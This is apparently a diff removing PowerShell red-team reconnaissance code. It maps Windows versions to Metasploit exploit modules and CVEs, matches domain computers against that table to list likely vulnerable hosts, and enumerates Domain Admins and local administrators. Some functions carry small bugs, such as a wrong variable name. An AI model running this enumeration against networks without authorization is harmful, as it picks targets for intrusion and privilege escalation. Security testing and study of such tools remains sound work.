$TableExploits.Rows.Add("Windows Server 2000","Server Pack 1","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059") | Out-Null
$TableExploits.Rows.Add("Windows Server 2000","Server Pack 1","exploit/windows/iis/ms03_007_ntdll_webdav","http://www.cvedetails.com/cve/2003-0109") | Out-Null
$TableExploits.Rows.Add("Windows Server 2000","Server Pack 1","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/") | Out-Null
$TableExploits.Rows.Add("Windows Server 2000","Service Pack 2","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") | Out-Null
$TableExploits.Rows.Add("Windows Server 2000","Service Pack 2","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059") | Out-Null
$TableExploits.Rows.Add("Windows Server 2000","Service Pack 2","exploit/windows/iis/ms03_007_ntdll_webdav","http://www.cvedetails.com/cve/2003-0109") | Out-Null
$TableExploits.Rows.Add("Windows Server 2000","Service Pack 2","exploit/windows/smb/ms04_011_lsass","http://www.cvedetails.com/cve/2003-0533/") | Out-Null
$TableExploits.Rows.Add("Windows Server 2000","Service Pack 2","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/") | Out-Null
$TableExploits.Rows.Add("Windows Server 2000","Service Pack 3","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") | Out-Null
$TableExploits.Rows.Add("Windows Server 2000","Service Pack 3","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059") | Out-Null
$TableExploits.Rows.Add("Windows Server 2000","Service Pack 3","exploit/windows/iis/ms03_007_ntdll_webdav","http://www.cvedetails.com/cve/2003-0109") | Out-Null
$TableExploits.Rows.Add("Windows Server 2000","Service Pack 3","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/") | Out-Null
$TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") | Out-Null
$TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059") | Out-Null
$TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/dcerpc/ms07_029_msdns_zonename","http://www.cvedetails.com/cve/2007-1748") | Out-Null
$TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/smb/ms04_011_lsass","http://www.cvedetails.com/cve/2003-0533/") | Out-Null
$TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439") | Out-Null
$TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/smb/ms06_066_nwapi","http://www.cvedetails.com/cve/2006-4688") | Out-Null
$TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/smb/ms06_070_wkssvc","http://www.cvedetails.com/cve/2006-4691") | Out-Null
$TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") | Out-Null
$TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/") | Out-Null
$TableExploits.Rows.Add("Windows Server 2000","","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") | Out-Null
$TableExploits.Rows.Add("Windows Server 2000","","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059") | Out-Null
$TableExploits.Rows.Add("Windows Server 2000","","exploit/windows/iis/ms03_007_ntdll_webdav","http://www.cvedetails.com/cve/2003-0109") | Out-Null
$TableExploits.Rows.Add("Windows Server 2000","","exploit/windows/smb/ms05_039_pnp","http://www.cvedetails.com/cve/2005-1983") | Out-Null
$TableExploits.Rows.Add("Windows Server 2000","","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/") | Out-Null
$TableExploits.Rows.Add("Windows Server 2003","Server Pack 1","exploit/windows/dcerpc/ms07_029_msdns_zonename","http://www.cvedetails.com/cve/2007-1748") | Out-Null
$TableExploits.Rows.Add("Windows Server 2003","Server Pack 1","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439") | Out-Null
$TableExploits.Rows.Add("Windows Server 2003","Server Pack 1","exploit/windows/smb/ms06_066_nwapi","http://www.cvedetails.com/cve/2006-4688") | Out-Null
$TableExploits.Rows.Add("Windows Server 2003","Server Pack 1","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") | Out-Null
$TableExploits.Rows.Add("Windows Server 2003","Server Pack 1","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/") | Out-Null
$TableExploits.Rows.Add("Windows Server 2003","Service Pack 2","exploit/windows/dcerpc/ms07_029_msdns_zonename","http://www.cvedetails.com/cve/2007-1748") | Out-Null
$TableExploits.Rows.Add("Windows Server 2003","Service Pack 2","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") | Out-Null
$TableExploits.Rows.Add("Windows Server 2003","Service Pack 2","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") | Out-Null
$TableExploits.Rows.Add("Windows Server 2003","","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") | Out-Null
$TableExploits.Rows.Add("Windows Server 2003","","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439") | Out-Null
$TableExploits.Rows.Add("Windows Server 2003","","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") | Out-Null
$TableExploits.Rows.Add("Windows Server 2003","","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/") | Out-Null
$TableExploits.Rows.Add("Windows Server 2003 R2","","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") | Out-Null
$TableExploits.Rows.Add("Windows Server 2003 R2","","exploit/windows/smb/ms04_011_lsass","http://www.cvedetails.com/cve/2003-0533/") | Out-Null
$TableExploits.Rows.Add("Windows Server 2003 R2","","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439") | Out-Null
$TableExploits.Rows.Add("Windows Server 2003 R2","","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/") | Out-Null
$TableExploits.Rows.Add("Windows Server 2008","Service Pack 2","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103") | Out-Null
$TableExploits.Rows.Add("Windows Server 2008","Service Pack 2","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") | Out-Null
$TableExploits.Rows.Add("Windows Server 2008","","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") | Out-Null
$TableExploits.Rows.Add("Windows Server 2008","","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103") | Out-Null
$TableExploits.Rows.Add("Windows Server 2008","","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") | Out-Null
$TableExploits.Rows.Add("Windows Server 2008 R2","","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") | Out-Null
$TableExploits.Rows.Add("Windows Vista","Server Pack 1","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") | Out-Null
$TableExploits.Rows.Add("Windows Vista","Server Pack 1","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103") | Out-Null
$TableExploits.Rows.Add("Windows Vista","Server Pack 1","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") | Out-Null
$TableExploits.Rows.Add("Windows Vista","Service Pack 2","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103") | Out-Null
$TableExploits.Rows.Add("Windows Vista","Service Pack 2","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") | Out-Null
$TableExploits.Rows.Add("Windows Vista","","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") | Out-Null
$TableExploits.Rows.Add("Windows Vista","","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103") | Out-Null
$TableExploits.Rows.Add("Windows XP","Server Pack 1","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") | Out-Null
$TableExploits.Rows.Add("Windows XP","Server Pack 1","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059") | Out-Null
$TableExploits.Rows.Add("Windows XP","Server Pack 1","exploit/windows/smb/ms04_011_lsass","http://www.cvedetails.com/cve/2003-0533/") | Out-Null
$TableExploits.Rows.Add("Windows XP","Server Pack 1","exploit/windows/smb/ms05_039_pnp","http://www.cvedetails.com/cve/2005-1983") | Out-Null
$TableExploits.Rows.Add("Windows XP","Server Pack 1","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439") | Out-Null
$TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059") | Out-Null
$TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439") | Out-Null
$TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/smb/ms06_066_nwapi","http://www.cvedetails.com/cve/2006-4688") | Out-Null
$TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/smb/ms06_070_wkssvc","http://www.cvedetails.com/cve/2006-4691") | Out-Null
$TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") | Out-Null
$TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") | Out-Null
$TableExploits.Rows.Add("Windows XP","Service Pack 3","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") | Out-Null
$TableExploits.Rows.Add("Windows XP","Service Pack 3","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") | Out-Null
$TableExploits.Rows.Add("Windows XP","","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") | Out-Null
$TableExploits.Rows.Add("Windows XP","","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059") | Out-Null
$TableExploits.Rows.Add("Windows XP","","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439") | Out-Null
$TableExploits.Rows.Add("Windows XP","","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") | Out-Null
# Status user
Write-Host "[*] Checking computers for vulnerable OS and SP levels..."
# ----------------------------------------------------------------
# Setup data table to store vulnerable systems
# ----------------------------------------------------------------
# Create data table to house vulnerable server list
$TableVulnComputers = New-Object System.Data.DataTable
$TableVulnComputers.Columns.Add('ComputerName') | Out-Null
$TableVulnComputers.Columns.Add('OperatingSystem') | Out-Null
$TableVulnComputers.Columns.Add('ServicePack') | Out-Null
$TableVulnComputers.Columns.Add('LastLogon') | Out-Null
$TableVulnComputers.Columns.Add('MsfModule') | Out-Null
$TableVulnComputers.Columns.Add('CVE') | Out-Null
# Iterate through each exploit
$TableExploits |
ForEach-Object {
$ExploitOS = $_.OperatingSystem
$ExploitSP = $_.ServicePack
$ExploitMsf = $_.MsfModule
$ExploitCve = $_.CVE
# Iterate through each ADS computer
$TableAdsComputers |
ForEach-Object {
$AdsHostname = $_.Hostname
$AdsOS = $_.OperatingSystem
$AdsSP = $_.ServicePack
$AdsLast = $_.LastLogon
# Add exploitable systems to vul computers data table
if ($AdsOS -like "$ExploitOS*" -and $AdsSP -like "$ExploitSP" ){
# Add domain computer to data table
$TableVulnComputers.Rows.Add($AdsHostname,$AdsOS,$AdsSP,[dateTime]::FromFileTime($AdsLast),$ExploitMsf,$ExploitCve) | Out-Null
}
}
}
# Display results
$VulnComputer = $TableVulnComputers | select ComputerName -Unique | measure
$vulnComputerCount = $VulnComputer.Count
If ($VulnComputer.Count -gt 0){
# Return vulnerable server list order with some hack date casting
Write-Host "[+] Found $vulnComputerCount potentially vulnerabile systems!"
$TableVulnComputers | Sort-Object { $_.lastlogon -as [datetime]} -Descending
}else{
Write-Host "[-] No vulnerable systems were found."
}
}
End
{
}
}

View File

@ -1,311 +0,0 @@
function Test-Server {
<#
.SYNOPSIS
Tests a connection to a remote server.
.DESCRIPTION
This function uses either ping (test-connection) or RPC
(through WMI) to test connectivity to a remote server.
.PARAMETER Server
The hostname/IP to test connectivity to.
.OUTPUTS
$True/$False
.EXAMPLE
> Test-Server -Server WINDOWS7
Tests ping connectivity to the WINDOWS7 server.
.EXAMPLE
> Test-Server -RPC -Server WINDOWS7
Tests RPC connectivity to the WINDOWS7 server.
.LINK
http://gallery.technet.microsoft.com/scriptcenter/Enhanced-Remote-Server-84c63560
#>
[CmdletBinding()]
param(
[Parameter(Mandatory=$True,ValueFromPipeline=$true)]
[String]
$Server,
[Switch]
$RPC
)
process {
if ($RPC){
$WMIParameters = @{
namespace = 'root\cimv2'
Class = 'win32_ComputerSystem'
ComputerName = $Name
ErrorAction = 'Stop'
}
if ($Credential -ne $null)
{
$WMIParameters.Credential = $Credential
}
try
{
Get-WmiObject @WMIParameters
}
catch {
Write-Verbose -Message 'Could not connect via WMI'
}
}
# otherwise, use ping
else{
Test-Connection -ComputerName $Server -count 1 -Quiet
}
}
}
function Get-NetDomainController {
<#
.SYNOPSIS
Return the current domain controllers for the active domain.
.PARAMETER Domain
The domain to query for domain controllers. If not supplied, the
current domain is used.
.EXAMPLE
> Get-NetDomainController
Returns the domain controllers for the current computer's domain.
Approximately equivialent to the hostname given in the LOGONSERVER
environment variable.
.EXAMPLE
> Get-NetDomainController -Domain test
Returns the domain controllers for the domain "test".
#>
[CmdletBinding()]
param(
[string]
$Domain
)
$d = Get-NetDomain -Domain $Domain
if($d){
$d.DomainControllers
}
}
function Get-NetDomain {
<#
.SYNOPSIS
Returns the name of the current user's domain.
.PARAMETER Domain
The domain to query return. If not supplied, the
current domain is used.
.EXAMPLE
> Get-NetDomain
Return the current domain.
.LINK
http://social.technet.microsoft.com/Forums/scriptcenter/en-US/0c5b3f83-e528-4d49-92a4-dee31f4b481c/finding-the-dn-of-the-the-domain-without-admodule-in-powershell?forum=ITCG
#>
[CmdletBinding()]
param(
[String]
$Domain
)
if($Domain -and ($Domain -ne "")){
$DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain)
try {
[System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
}
catch{
Write-Warning "The specified domain $Domain does not exist, could not be contacted, or there isn't an existing trust."
$Null
}
}
else{
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
}
}
function Get-NetComputer {
<#
.SYNOPSIS
Gets an array of all current computers objects in a domain.
.DESCRIPTION
This function utilizes adsisearcher to query the current AD context
for current computer objects. Based off of Carlos Perez's Audit.psm1
script in Posh-SecMod (link below).
.PARAMETER HostName
Return computers with a specific name, wildcards accepted.
.PARAMETER SPN
Return computers with a specific service principal name, wildcards accepted.
.PARAMETER OperatingSystem
Return computers with a specific operating system, wildcards accepted.
.PARAMETER ServicePack
Return computers with a specific service pack, wildcards accepted.
.PARAMETER Ping
Ping each host to ensure it's up before enumerating.
.PARAMETER FullData
Return full user computer objects instead of just system names (the default).
.PARAMETER Domain
The domain to query for computers.
.OUTPUTS
System.Array. An array of found system objects.
.EXAMPLE
> Get-NetComputer
Returns the current computers in current domain.
.EXAMPLE
> Get-NetComputer -SPN mssql*
Returns all MS SQL servers on the domain.
.EXAMPLE
> Get-NetComputer -Domain testing
Returns the current computers in 'testing' domain.
> Get-NetComputer -Domain testing -FullData
Returns full computer objects in the 'testing' domain.
.LINK
https://github.com/darkoperator/Posh-SecMod/blob/master/Audit/Audit.psm1
#>
[CmdletBinding()]
Param (
[Parameter(ValueFromPipeline=$True)]
[string]
$HostName = '*',
[string]
$SPN = '*',
[string]
$OperatingSystem = '*',
[string]
$ServicePack = '*',
[Switch]
$Ping,
[Switch]
$FullData,
[string]
$Domain
)
process {
# if a domain is specified, try to grab that domain
if ($Domain){
# try to grab the primary DC for the current domain
try{
$PrimaryDC = ([Array](Get-NetDomainController))[0].Name
}
catch{
$PrimaryDC = $Null
}
try {
# reference - http://blogs.msdn.com/b/javaller/archive/2013/07/29/searching-across-active-directory-domains-in-powershell.aspx
$dn = "DC=$($Domain.Replace('.', ',DC='))"
# if we could grab the primary DC for the current domain, use that for the query
if($PrimaryDC){
$CompSearcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]"LDAP://$PrimaryDC/$dn")
}
else{
# otherwise try to connect to the DC for the target domain
$CompSearcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]"LDAP://$dn")
}
# create the searcher object with our specific filters
if ($ServicePack -ne '*'){
$CompSearcher.filter="(&(objectClass=Computer)(dnshostname=$HostName)(operatingsystem=$OperatingSystem)(operatingsystemservicepack=$ServicePack)(servicePrincipalName=$SPN))"
}
else{
# server 2012 peculiarity- remove any mention to service pack
$CompSearcher.filter="(&(objectClass=Computer)(dnshostname=$HostName)(operatingsystem=$OperatingSystem)(servicePrincipalName=$SPN))"
}
}
catch{
Write-Warning "The specified domain $Domain does not exist, could not be contacted, or there isn't an existing trust."
}
}
else{
# otherwise, use the current domain
if ($ServicePack -ne '*'){
$CompSearcher = [adsisearcher]"(&(objectClass=Computer)(dnshostname=$HostName)(operatingsystem=$OperatingSystem)(operatingsystemservicepack=$ServicePack)(servicePrincipalName=$SPN))"
}
else{
# server 2012 peculiarity- remove any mention to service pack
$CompSearcher = [adsisearcher]"(&(objectClass=Computer)(dnshostname=$HostName)(operatingsystem=$OperatingSystem)(servicePrincipalName=$SPN))"
}
}
if ($CompSearcher){
# eliminate that pesky 1000 system limit
$CompSearcher.PageSize = 200
$CompSearcher.FindAll() | ? {$_} | ForEach-Object {
$up = $true
if($Ping){
$up = Test-Server -Server $_.properties.dnshostname
}
if($up){
# return full data objects
if ($FullData){
$properties = $_.Properties
$out = New-Object psobject
$properties.PropertyNames | % {
if ($_ -eq "objectsid"){
# convert the SID to a string
$out | Add-Member Noteproperty $_ ((New-Object System.Security.Principal.SecurityIdentifier($properties[$_][0],0)).Value)
}
elseif($_ -eq "objectguid"){
# convert the GUID to a string
$out | Add-Member Noteproperty $_ (New-Object Guid (,$properties[$_][0])).Guid
}
elseif( ($_ -eq "lastlogon") -or ($_ -eq "lastlogontimestamp") -or ($_ -eq "pwdlastset") ){
$out | Add-Member Noteproperty $_ ([datetime]::FromFileTime(($properties[$_][0])))
}
else {
$out | Add-Member Noteproperty $_ $properties[$_][0]
}
}
$out | Out-String
}
else{
# otherwise we're just returning the DNS host name
$_.properties.dnshostname + "`n"
}
}
}
}
}
}

View File

@ -1,526 +0,0 @@
function Convert-SidToName {
<#
.SYNOPSIS
Converts a security identifier (SID) to a group/user name.
.PARAMETER SID
The SID to convert.
#>
[CmdletBinding()]
param(
[Parameter(Mandatory=$True,ValueFromPipeline=$True)]
[String]
$SID
)
process {
try {
$obj = (New-Object System.Security.Principal.SecurityIdentifier($SID))
$obj.Translate( [System.Security.Principal.NTAccount]).Value
}
catch {
Write-Warning "invalid SID"
}
}
}
function Get-NetGroup {
<#
.SYNOPSIS
Gets a list of all current users in a specified domain group.
.DESCRIPTION
This function users [ADSI] and LDAP to query the current AD context
or trusted domain for users in a specified group. If no GroupName is
specified, it defaults to querying the "Domain Admins" group.
This is a replacement for "net group 'name' /domain"
.PARAMETER GroupName
The group name to query for users. If not given, it defaults to "Domain Admins"
.PARAMETER Domain
The domain to query for group users.
.PARAMETER FullData
Switch. Returns full data objects instead of just group/users.
.PARAMETER Recurse
Switch. If the group member is a group, recursively try to query its members as well.
.EXAMPLE
> Get-NetGroup
Returns the usernames that of members of the "Domain Admins" domain group.
.EXAMPLE
> Get-NetGroup -Domain testing -GroupName "Power Users"
Returns the usernames that of members of the "Power Users" group
in the 'testing' domain.
.LINK
http://www.powershellmagazine.com/2013/05/23/pstip-retrieve-group-membership-of-an-active-directory-group-recursively/
#>
[CmdletBinding()]
param(
[Parameter(ValueFromPipeline=$true)]
[string]
$GroupName = 'Domain Admins',
[Switch]
$FullData,
[Switch]
$Recurse,
[string]
$Domain,
[string]
$PrimaryDC
)
process {
# if a domain is specified, try to grab that domain
if ($Domain){
# try to grab the primary DC for the current domain
try{
$PrimaryDC = ([Array](Get-NetDomainControllers))[0].Name
}
catch{
$PrimaryDC = $Null
}
try {
# reference - http://blogs.msdn.com/b/javaller/archive/2013/07/29/searching-across-active-directory-domains-in-powershell.aspx
$dn = "DC=$($Domain.Replace('.', ',DC='))"
# if we could grab the primary DC for the current domain, use that for the query
if($PrimaryDC){
$GroupSearcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]"LDAP://$PrimaryDC/$dn")
}
else{
# otherwise try to connect to the DC for the target domain
$GroupSearcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]"LDAP://$dn")
}
# samAccountType=805306368 indicates user objects
$GroupSearcher.filter = "(&(objectClass=group)(name=$GroupName))"
}
catch{
Write-Warning "The specified domain $Domain does not exist, could not be contacted, or there isn't an existing trust."
}
}
else{
$Domain = (Get-NetDomain).Name
# otherwise, use the current domain
$GroupSearcher = [adsisearcher]"(&(objectClass=group)(name=$GroupName))"
}
if ($GroupSearcher){
$GroupSearcher.PageSize = 200
$GroupSearcher.FindAll() | % {
try{
$GroupFoundName = $_.properties.name[0]
$_.properties.member | ForEach-Object {
# for each user/member, do a quick adsi object grab
if ($PrimaryDC){
$properties = ([adsi]"LDAP://$PrimaryDC/$_").Properties
}
else {
$properties = ([adsi]"LDAP://$_").Properties
}
# check if the result is a user account- if not assume it's a group
if ($properties.samAccountType -ne "805306368"){
$isGroup = $True
}
else{
$isGroup = $False
}
$out = New-Object psobject
$out | add-member Noteproperty 'GroupDomain' $Domain
$out | Add-Member Noteproperty 'GroupName' $GroupFoundName
if ($FullData){
$properties.PropertyNames | % {
# TODO: errors on cross-domain users?
if ($_ -eq "objectsid"){
# convert the SID to a string
$out | Add-Member Noteproperty $_ ((New-Object System.Security.Principal.SecurityIdentifier($properties[$_][0],0)).Value)
}
elseif($_ -eq "objectguid"){
# convert the GUID to a string
$out | Add-Member Noteproperty $_ (New-Object Guid (,$properties[$_][0])).Guid
}
else {
if ($properties[$_].count -eq 1) {
$out | Add-Member Noteproperty $_ $properties[$_][0]
}
else {
$out | Add-Member Noteproperty $_ $properties[$_]
}
}
}
}
else {
$MemberDN = $properties.distinguishedName[0]
# extract the FQDN from the Distinguished Name
$MemberDomain = $MemberDN.subString($MemberDN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.'
if ($properties.samAccountType -ne "805306368"){
$isGroup = $True
}
else{
$isGroup = $False
}
if ($properties.samAccountName){
# forest users have the samAccountName set
$MemberName = $properties.samAccountName[0]
}
else {
# external trust users have a SID, so convert it
try {
$MemberName = Convert-SidToName $properties.cn[0]
}
catch {
# if there's a problem contacting the domain to resolve the SID
$MemberName = $properties.cn
}
}
$out | add-member Noteproperty 'MemberDomain' $MemberDomain
$out | add-member Noteproperty 'MemberName' $MemberName
$out | add-member Noteproperty 'IsGroup' $IsGroup
$out | add-member Noteproperty 'MemberDN' $MemberDN
}
$out
if($Recurse) {
# if we're recursiving and the returned value isn't a user account, assume it's a group
if($IsGroup){
if($FullData){
Get-NetGroup -Domain $Domain -PrimaryDC $PrimaryDC -FullData -Recurse -GroupName $properties.SamAccountName[0]
}
else {
Get-NetGroup -Domain $Domain -PrimaryDC $PrimaryDC -Recurse -GroupName $properties.SamAccountName[0]
}
}
}
}
}
catch {
write-verbose $_
}
}
}
}
}
function Get-NetDomain {
<#
.SYNOPSIS
Returns the name of the current user's domain.
.PARAMETER Domain
The domain to query return. If not supplied, the
current domain is used.
.EXAMPLE
> Get-NetDomain
Return the current domain.
.LINK
http://social.technet.microsoft.com/Forums/scriptcenter/en-US/0c5b3f83-e528-4d49-92a4-dee31f4b481c/finding-the-dn-of-the-the-domain-without-admodule-in-powershell?forum=ITCG
#>
[CmdletBinding()]
param(
[String]
$Domain
)
if($Domain -and ($Domain -ne "")){
$DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain)
try {
[System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
}
catch{
Write-Warning "The specified domain $Domain does not exist, could not be contacted, or there isn't an existing trust."
$Null
}
}
else{
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
}
}
function Convert-SidToName {
<#
.SYNOPSIS
Converts a security identifier (SID) to a group/user name.
.PARAMETER SID
The SID to convert.
#>
[CmdletBinding()]
param(
[Parameter(Mandatory=$True,ValueFromPipeline=$True)]
[String]
$SID
)
process {
try {
$obj = (New-Object System.Security.Principal.SecurityIdentifier($SID))
$obj.Translate( [System.Security.Principal.NTAccount]).Value
}
catch {
Write-Warning "invalid SID"
}
}
}
function Translate-NT4Name {
<#
.SYNOPSIS
Converts a user/group NT4 name (i.e. dev/john) to canonical format.
Based on Bill Stewart's code from this article:
http://windowsitpro.com/active-directory/translating-active-directory-object-names-between-formats
.PARAMETER DomainObject
The user/groupname to convert
.PARAMETER DomainObject
The user/groupname to convert
.LINK
http://windowsitpro.com/active-directory/translating-active-directory-object-names-between-formats
#>
[CmdletBinding()]
param(
[String] $DomainObject,
[String] $Domain
)
if (-not $Domain) {
$domain = (Get-NetDomain).name
}
$DomainObject = $DomainObject -replace "/","\"
# Accessor functions to simplify calls to NameTranslate
function Invoke-Method([__ComObject] $object, [String] $method, $parameters) {
$output = $object.GetType().InvokeMember($method, "InvokeMethod", $NULL, $object, $parameters)
if ( $output ) { $output }
}
function Set-Property([__ComObject] $object, [String] $property, $parameters) {
[Void] $object.GetType().InvokeMember($property, "SetProperty", $NULL, $object, $parameters)
}
$Translate = new-object -comobject NameTranslate
try {
Invoke-Method $Translate "Init" (1, $Domain)
}
catch [System.Management.Automation.MethodInvocationException] { }
Set-Property $Translate "ChaseReferral" (0x60)
try {
Invoke-Method $Translate "Set" (3, $DomainObject)
(Invoke-Method $Translate "Get" (2))
}
catch [System.Management.Automation.MethodInvocationException] { }
}
function Get-NetLocalGroup {
<#
.SYNOPSIS
Gets a list of all current users in a specified local group.
.PARAMETER HostName
The hostname or IP to query for local group users.
.PARAMETER HostList
List of hostnames/IPs to query for local group users.
.PARAMETER GroupName
The local group name to query for users. If not given, it defaults to "Administrators"
.PARAMETER Recurse
Switch. If the local member member is a domain group, recursively try to resolve its members to get a list of domain users who can access this machine.
.EXAMPLE
> Get-NetLocalGroup
Returns the usernames that of members of localgroup "Administrators" on the local host.
.EXAMPLE
> Get-NetLocalGroup -HostName WINDOWSXP
Returns all the local administrator accounts for WINDOWSXP
.EXAMPLE
> Get-NetLocalGroup -HostName WINDOWS7 -Resurse
Returns all effective local/domain users/groups that can access WINDOWS7 with
local administrative privileges.
.LINK
http://stackoverflow.com/questions/21288220/get-all-local-members-and-groups-displayed-together
http://msdn.microsoft.com/en-us/library/aa772211(VS.85).aspx
#>
[CmdletBinding()]
param(
[Parameter(ValueFromPipeline=$True)]
[string]
$HostName = 'localhost',
[string]
$HostList,
[string]
$GroupName,
[switch]
$Recurse
)
process {
$Servers = @()
# if we have a host list passed, grab it
if($HostList){
if (Test-Path -Path $HostList){
$Servers = Get-Content -Path $HostList
}
else{
Write-Warning "[!] Input file '$HostList' doesn't exist!"
$null
}
}
else{
# otherwise assume a single host name
$Servers += $HostName
}
if (-not $GroupName){
# resolve the SID for the local admin group - this should usually default to "Administrators"
$objSID = New-Object System.Security.Principal.SecurityIdentifier('S-1-5-32-544')
$objgroup = $objSID.Translate( [System.Security.Principal.NTAccount])
$GroupName = ($objgroup.Value).Split('\')[1]
}
# query the specified group using the WINNT provider, and
# extract fields as appropriate from the results
foreach($Server in $Servers)
{
try{
$members = @($([ADSI]"WinNT://$server/$groupname").psbase.Invoke('Members'))
$members | ForEach-Object {
$out = New-Object psobject
$out | Add-Member Noteproperty 'Server' $Server
$AdsPath = ($_.GetType().InvokeMember('Adspath', 'GetProperty', $null, $_, $null)).Replace('WinNT://', '')
# try to translate the NT4 domain to a FQDN if possible
$name = Translate-NT4Name $AdsPath
if($name) {
$fqdn = $name.split("/")[0]
$objName = $AdsPath.split("/")[-1]
$name = "$fqdn/$objName"
$IsDomain = $True
}
else {
$name = $AdsPath
$IsDomain = $False
}
$out | Add-Member Noteproperty 'AccountName' $name
# translate the binary sid to a string
$out | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($_.GetType().InvokeMember('ObjectSID', 'GetProperty', $null, $_, $null),0)).Value)
# if the account is local, check if it's disabled, if it's domain, always print $false
# TODO: fix this error?
$out | Add-Member Noteproperty 'Disabled' $( if(-not $IsDomain) { try { $_.GetType().InvokeMember('AccountDisabled', 'GetProperty', $null, $_, $null) } catch { 'ERROR' } } else { $False } )
# check if the member is a group
$IsGroup = ($_.GetType().InvokeMember('Class', 'GetProperty', $Null, $_, $Null) -eq 'group')
